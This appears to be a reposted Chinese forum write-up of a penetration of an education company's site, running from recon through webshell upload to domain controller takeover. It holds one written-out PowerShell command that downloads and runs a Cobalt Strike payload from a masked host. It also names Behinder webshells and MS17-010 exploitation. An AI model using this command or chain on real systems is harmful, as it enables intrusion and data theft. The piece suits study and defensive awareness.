找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2113|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1 z2 j$ _- c* F 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 ' B( { x! c1 z# V: _5 y {

$ e* D4 o/ n9 x9 l+ l

1 }9 ^' u8 U: ?9 S6 v   8 ~$ Y" S' O9 r2 Q

# n4 X; d! a4 c; G* O6 A0 X

, k" L4 X X* B; @ 正文 5 N: X$ F% i* D0 E" U' V

* O' }& @8 m2 y* q4 R: J5 ~

( i) h/ E; {; A9 [  ; S6 t% F4 P/ ^( a( z8 p

5 T8 M6 N4 `* E; e3 O4 J3 I7 U

0 ]" `2 B9 H+ A: Z7 g" Z0 s 目标:www.xxxx.com(一家教育机构)
4 P/ i ?1 i K# }" N
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
# M& V: s$ d, D) B9 [

. Y1 C$ z! U2 O

" K+ ~( c: |. o- r x, U vshapes= $ ~4 C1 { L7 n' [

- S3 J% o2 K k1 y

. O5 Z& O% h) f4 }4 Q7 K 进行了简单的信息搜集
& n* C2 \% \: u9 _/ e7 w$ T
2 @* b( c% l b$ i2 Q
. X, R" s# [0 n8 T" X) |

" R6 ]8 v9 ?8 y: I* H

; D# K& z, B' Y 子域名搜集6 f% W: V! |8 w, m: t7 _$ ^

8 P* D; N. b& z; k- @

! Z8 L, k- P0 w0 U7 { vshapes=3 a7 O2 g* A/ ]

4 d" ^9 I# U5 z* I7 r

, S k: L. O; R1 e& ?$ ]& c3 ~ fofa找资产
% H6 e/ s7 m: W, d/ R. v' _5 @( e
5 ?! W* Z1 D+ }+ }# e1 U
" `$ @5 r% T6 J" k v# O

% D" Z0 z/ `5 z7 q0 {% c n

) ]2 i: ~4 f" I vshapes= 4 l3 o: f A9 i3 q V

1 G6 e' A9 S- J. A

5 G+ L" H M! y+ P F$ y& a- ] 一共七个资产。去重之后只有两个。
, Q* P4 V1 s J5 r _1 a, m( L
5 J! c$ ^( I3 l, t: |& N
2 A/ M- P4 z8 S+ U

% V+ }4 F5 B: Y4 M% n

5 e0 y& ^0 y' z2 t a7 ~6 g 目录探测3 u8 a% r- P" U2 y2 K' {8 [

6 j; N/ s8 w# P

- [+ }6 C1 I+ O vshapes=# O; V8 l% j6 I) K6 f

5 `! M; J8 T' ]' g" R. e! q

0 W# C% O4 R1 S* t2 K 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
' [4 G. Q( G# @( {
z7 S* c/ G0 t$ i
/ |; H) J5 }* F: i- ^! c! q

, L; B4 S9 R# G) J

3 H* F" b O* [* `" p- L1 U 我又尝试了通过修改返回包来绕过登录界面 0 Q$ V" ^4 O9 V# _

* X8 s% ~/ x* J+ x" Q3 f3 o1 a

0 S) N. B5 @. r6 L vshapes=5 W8 M2 @% A5 t( e

/ M# G3 b M: Q' U

2 I' `4 _ q% W: Z 还是不行,尝试注入无果 ; y3 i6 j/ H* _6 L

- w7 I0 n% Z6 d$ k! m# L

9 u0 P6 P; o9 X5 v' ~" @) T) A vshapes= # G# y8 s& o! q0 m. f0 i" I1 E

& E1 x3 b6 |! F, N

2 m; o- _! r5 ] 不过我目录探测出了一处Spring信息泄露
, `9 S7 Z& k% `- u$ V" j; J
9 T6 b. _! Z) d& ^5 W
0 W) T' f. Z% U8 p' t+ N0 W

n( s, L; Y7 L4 y8 T1 v

& [( ~' J7 }8 D/ i vshapes=7 e: _, y5 n" f. N# j4 m

0 [, j$ n) n: U

2 ]' j4 C8 r8 l 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录7 l8 h4 L0 c% t( L5 K1 q+ y

% u! f* f0 `3 X0 `) U/ w1 b1 t

* K& n0 O' ~( l vshapes=) N0 ^0 c, ]* f" u ~

& n, B. C% C( S# x/ M5 I8 s

( v4 J+ }3 q( [* Y4 ?+ d 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。 ! `8 X# S: L2 x1 r, o7 B) `

# ~' q3 l L! O' E

5 e/ H$ K/ m7 H4 R2 L vshapes=! Y" `0 j: I5 @1 L6 Q1 B( x

' j2 N: l1 g3 A' |

/ z, ^3 u3 C Q" o! W/ T7 G! I 获取有些师傅到这一步就手机抓包电脑测了。 6 f5 L: `- }$ |7 _3 a' k

; K9 m0 C, G7 K5 v, W

: p. A! |& [& V" e Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。1 u e% _/ {. i% f/ m. A

; l5 k$ ^! K; x$ h# z7 e

, D- V3 t' o; q* y; O5 I6 [ 其中在一个公众号发现了小程序,可以进行注册。 # R3 H( ^ X" |! Z+ C

) O- K9 q' j: o2 H" g& u+ {

. p$ R3 r8 J% s! s/ r 看到了头像上传,尝试上传获取WebShell" s1 D I/ ]5 i! A! }

3 W, L. n, `" `* ?9 @* S7 n C

; Y- N1 z6 s. n6 k; K9 [( l1 y( E vshapes= & r! h( M# d9 ` V

6 n' b- P5 L4 F. i/ k0 r& m

# Q: l5 P& {' u- [3 j2 _ 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问2 ]; t. \: ?$ ^' K( T# _( N

4 k$ O h3 l9 }+ N7 F$ Y

$ t" h, A& J. C6 c+ W5 X j vshapes= 6 G h! z$ H* s; l

: r* w* b1 j/ q) ]* D

# ~& ?6 _: ]) \6 A0 D0 H 然后上了大马. n5 M3 _# K3 V* a6 J4 J' h% ?

6 K9 c' v1 `2 |/ A3 c

5 v2 p1 j2 B( V- D+ N vshapes= " @" T, ?7 c/ F5 ^0 @- G7 d' |5 j

0 ~8 M; R; s( P' {3 X

: r+ `' E' O) l5 Z vshapes=! K _' i$ ^7 d7 [; l

1 U4 V6 ^4 Q: G

) |. [$ z9 D+ B9 Z1 e. [ 通过翻找文件发现数据库账号密码 4 ~! m* k$ |$ T7 h6 h3 P/ H5 |

+ F$ s1 X" H* |

: |, a" l7 x' B1 T9 @4 Q. X0 F8 k; p { vshapes=9 [! n! ] O$ @ |

! e) F5 [. z$ o; q' [8 z* m/ C t

; G# B% h( ^2 R! K& B7 y+ u --内网渗透 $ w/ E" C+ j' G# {

+ M& p! A% X8 O/ O7 O5 y

6 S# q7 _2 H, B. A8 W 直接通过powershell执行 cs上线" B" }1 _% [5 c0 Q* F" S6 u

1 Z7 V6 J7 g# v' n V! v% ?# A

- w+ E9 I, W& d) m- v powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" : H, e/ h. u ~7 p% Q

5 v0 i2 x- A$ H6 P1 S0 x! F* E

2 Z7 I0 p9 {0 x' j' Y vshapes= ) D: B( b8 C6 {

( Z* E) c5 M* Y$ ?% d! z

, _( s- a. X! J, q& N 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破3 N# [* c2 }1 @* u

- O% u2 U, o# V* ~3 W' P

/ x4 E' G- x! ~; Q. Q3 C vshapes=9 Y" A' A8 V4 Q; ~0 K

1 S' Z4 G. ]2 ?# C" F

Y! c' W+ j9 B 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
& I* `# A c. P) s# i4 N& M' ^ g# j
2 s g) p! s8 z3 Z9 Y
/ e/ k _' p! |
/ s4 R1 F9 u( a' |- j6 u

! l( n! B8 P9 G9 R9 z

# }8 J! d- f; R vshapes= ' g# ]" x- Q: g) A1 G# e8 l* |+ E

R2 F1 g# d9 ]) u7 j9 n1 @4 I

0 Y" ?+ q H( ~( f, y& I; g6 y& D' E 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
$ }- w) M5 B& S$ v
' f- i+ y' b1 V' t1 n
4 s; \( y9 E9 A: A

- ]7 v) q; h( l$ V

* q* h* ~; e! v! i2 `1 Q8 m5 { vshapes= , ~* C5 U$ J& w" ]9 P0 l

9 S- c4 ?5 d& c* f

5 F) s/ T; Z7 _5 z8 g: b; x
: T6 ]6 p, v1 ~9 g& u
% L& r; N; y; N% S
' r8 t& O) S8 H0 p. h& k& v/ B

) [! B+ z3 _* I h$ U8 [+ f$ |8 v. r

" o. l1 b; N6 Z8 f; W& P   # g) E7 I$ ^0 @, H9 {% F5 @

2 A6 V0 t5 B+ s4 I- g L

3 ~/ U& O: U: S- e' m 小结) W8 b' `% u3 Z. T6 C

7 G3 K7 d: j7 X9 v' z) O7 U

0 d+ o% t& r- E0 k4 M   , B9 I# |1 e7 O" g* v4 |* x2 [: Z& n

: ^9 E/ j; q: D+ H

2 \3 v6 ?% _0 L4 q" F 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!; ] L4 |) @3 b/ c. C3 |

+ C8 ^+ C5 i, N( |9 I6 W% _% e

! W5 f% m, r J0 Y4 ~   ) h" @/ @& d0 R7 T& |/ ?

' B: ~& F- H! O, b. _
    # _; G, h) P3 b2 ~
  • 1 P9 O" l J" c4 y K$ `' j: W  5 L1 M' b9 ^& W* [4 r
  • e& m. s8 h$ [: p
  • 3 {8 ~2 R4 W3 e- b4 k8 ?   # a" ?7 }. h! V- ]
  • ' n' V/ N: G0 I8 I2 U; k# c
0 Q; h' A' k9 k: W7 g. ^9 z( d

J& R+ R. X# ]# U' C 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html 5 J( t' O8 j/ b3 V D9 n

1 {2 l( ^2 @7 A2 p- V

1 Y$ ]( C* b# Z2 |9 \7 m4 v, F   1 ~! x6 M t7 X c* A; K5 z5 l$ s

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表